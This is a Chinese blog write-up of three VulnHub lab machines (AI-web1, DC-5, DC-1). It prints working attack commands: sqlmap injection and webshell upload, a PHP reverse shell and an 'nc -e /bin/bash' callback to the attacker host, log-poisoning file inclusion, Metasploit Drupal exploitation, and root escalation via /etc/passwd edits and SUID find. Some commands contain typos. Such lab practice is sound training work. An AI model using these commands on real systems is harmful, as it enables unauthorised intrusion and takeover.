vulnhub
本文最后更新于:2 年前
AI-web1
搭建环境
只要使靶机与kali处于同一网段即可
网络嗅探
在kali中使用
netdiscover # 可以探测出与kali处于同一网段中存活的主机
由图中的信息可以看到靶机的ip地址为192.168.152.133
端口扫描
使用nmap扫描指定的ip
nmap -sS -sV -A -n 192.168.152.133
扫描结果显示靶机的80端口开放,并且探测到url,使用的中间件为apache
访问 m3diNf0/
和/se3reTdir777/uploads/
,没有有用信息,继续扫描路径
dirb http://192.168.152.133/m3diNf0/
dirb http://192.168.152.133/se3reTdir777/uploads/
dirb http://192.168.152.133/se3reTdir777/
扫描两个可访问的的url,在浏览器中打开,info.php中是phpinfo的信息,其中有一个信息很有用就是,网站的根目录
而http://192.168.152.133/se3reTdir777/index.php
,是一个用户查询的接口,很明显像是sql注入,直接用sqlmap扫
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit"
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" --dbs
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" -D aiweb1 --tables
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" -D aiweb1 -T user -columns
最后获得结果并没有什么用,但是可以尝试使用sqlmap获取shell权限
sqlmap -u "http://192.168.152.133/se3reTdir777/" -data "uid=1&Operation=Submit" --level=3 --os-shell
能够获取shell权限,但是权限很低,只是www-data
文件上传
前文我们已经知道网站绝对路径,其实就就是可以尝试sqlmap的文件上传
将一句话木马上传到网站的根目录中
sqlmap -u "http://192.168.152.133/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
上传成功后使用工具连接即可
此时已经获取到了网站的控制权,但是权限依然很低,因此需要进行提权
为了操作方便,需要先反弹shell
反弹shell
首先在kali中监听4444端口
nv -lvvp 4444
然后在网站中上传一个php文件
<?php
$sock=fsockopen("192.168.152.130",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
上传成功后,执行该文件
php web.php
即可获取shell
提权
首先在kali中使用openssl创建一个用户
openssl passwd -1 -salt hacker 123456
将该用户加入到root组中,既可拥有root权限(在反弹的shell中执行该命令)
hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash
将该用户的信息写入到/etc/passwd
中,就想当于在靶机中创建了一个root用户权限的用户
ehco 'sun:$1$sun$DD5cShz08xZBESgMJhDRY.:0:0::/root:/bin/bash' >> /etc/passwd
切换用户
su hacker
读取flag
DC-5
环境搭建
运行虚拟机后,将kali与靶机配置到同一网卡下即可
kali的ip地址:192.168.56.101
网络嗅探
在kali中使用netdiscover发现当前网络中存活的主机
netdiscover -i eth0
探测到靶机的ip地址为:192.168.56.102
再使用nmap扫描开放的服务端口
nmap -sS -sV -A -n 192.168.56.102
可以看到靶机的80端口是开启的,直接访问。
渗透
网页中存在一个留言板http://192.168.220.139/contact.php
提交留言信息会跳转到http://192.168.56.102/thankyou.php?firstname=1&lastname=1&country=australia&subject=1
此时再次刷新页面,会发现右下角的copyright会发生变化
首先使用dirb 去探测网站中的所有url,但是效果不好只能探测到index.php
那么就用bp的intruder模块加载自己的字典进行路劲爆破,最后爆破结果如下
这里的footer是网页源码中没有暴露的页面。
由于footer.php的内容可以显示子再thankyou.php中,那么thankyou.php一定是包含了footer.php,那么下面的要找出thankyou.php包含文件的参数是什么
尝试
http://192.168.56.102/thankyou.php?page=footer.php
http://192.168.56.102/thankyou.php?file=footer.php
发现以上两个参数都可以正常访问
接下来就是尝试文件包含漏洞
文件包含
上面已经发现页面存在文件包含,很直观的想法就是看能否将/etc/passwd
读取到
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin dc:x:1000:1000:dc,,,:/home/dc:/bin/bash mysql:x:108:113:MySQL Server,,,:/nonexistent:/bin/false
从http的响应头可以看到网站使用的中间件是nginx,那么可尝试获取去nginx的日志文件,默认绝对路径为/var/log/nginx/access.log
使用url
这里一定得要用bp,不然会由于浏览器的自动编码导致失效
能够发现刚才的访问记录已经被写入到了日志文件中
PHP中造成文件包含的四个函数
1、include() 、require()
当使用include()函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
当使用require()函数包含文件时,只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
require_once()功能和require()相同,区别在于当重复调用同一文件时,程序只调用一次。
当使用上述四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。
一句话木马上传成功后,就可以使用蚁剑连接了
http://192.168.56.102/thankyou.php?file=/var/log/nginx/access.log
密码:666
获取shell
再kali中监听4444端口
nc -lvvp 4444
再蚁剑的终端中执行
nc -e /bin/bash 192.168.56.101 4444
此时已经获取shell
使用python的反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
提权
使用find命令,查找具有suid权限的命令,发现screen-4.5.0
find / -perm /4000 2 > /dev/null
那么就可以查找可用于screen 4.5.0的漏洞脚本文件,再kali中查找
searchsploit screen 4.5.0
将脚本拷贝到当前工作目录
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.txt
尝试从蚁剑上传到网站的根目录,但是发现权限不够,最后再/tmp目录上传成功
加上可执行权限即可
chmod +x 41154.sh
在kali中的shell执行
获得flag
进入root目录即可获取到flag
DC1
环境搭建
将靶机与kali放在同一网卡下实现相互通信即可
信息搜集
使用
arp-scan -l
netdiscover -eth0
发现目标靶机的ip地址为192.168.56.103
直接方位该ip地址,发现是可访问的网站,但是需要密码无法进入
但是很明显可以看出此网站使用的CMS为Drupal,那么就寻找与该CMS存在的漏洞即可
可以看到关于drupal 的漏洞有七个,但是我们需要选择最新的且等级为excellent的
漏洞利用
这里使用的是exploit/multi/http/drupal_drupageddon
use exploit/multi/http/drupal_drupageddon
set RHOSTS 192.168.56.103
set LHOST 192.168.56.101
run
网站的根目录中存在一个flag1.txt,其中提示
Every good CMS needs a config file - and so do you.
那么就是找cms的配置文件,而drupal的默认配置文件位置 /var/www/sites/default/settings.php
查看此配置文件,可以看到mysql数据库的账号密码
并且出现了flag2
翻译:蛮力和字典攻击不行,唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?
交互式shell
在msfconsole中获取shell后使用执行下面这句话
python -c 'import pty; pty.spawn("/bin/bash")'
连接数据库
mysql -udbuser -p
密码是加密后保存到数据库的。但是在/var/www/script
中发现了将密码转换为hash的脚本,可以使用脚本生成自己的密码的hash然后保存到数据库中,可惜的是该标本的环境存在问题,无法运行
百度以下drupal 密码
相关的问题,发现有重置admin密码的方法
password的SHA-512加密运算的结果“$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4”;
那么就是在数据库中更新admin的密码即可
update users set pass = '$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name = 'admin';
登录后在网站中发现了flag3
特殊的PERMS将帮助查找passwd -但您需要-exec该命令来找出如何获取阴影中的内容。
在home/flag4
中看到flag4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
您可以使用相同的方法在根目录中查找或访问标志吗?
可能。但也许并没有那么容易。也许是这样?
使用CVE2014-3704添加管理账号
在exploit-db中有可以直接利用的EXP,可以直接添加管理账号
地址:https://www.exploit-db.com/exploits/34992
在kali中开启web服务,然后再靶机中下载该exp
python3 -m http.server 80
靶机端下载
wget http://192.168.56.101/34992.py
靶机端运行
python 34992.py -t http://192.168.56.103/ -u hack -p root
直接使用hack 登录
提权
使用find找下具有root权限的suid
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null # 这句也可以
可以发现find命令可以用来提权
尝试使用find执行命令
find / -name flag4 -exec "whoami" \; # 注意这里的-name 后的参数需要是存在的文件
这里执行的结果可以看出find是可以提权的
获取flag
直接使用执行 /bin/sh
find / -name flag4 -exec "/bin/sh" \;
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!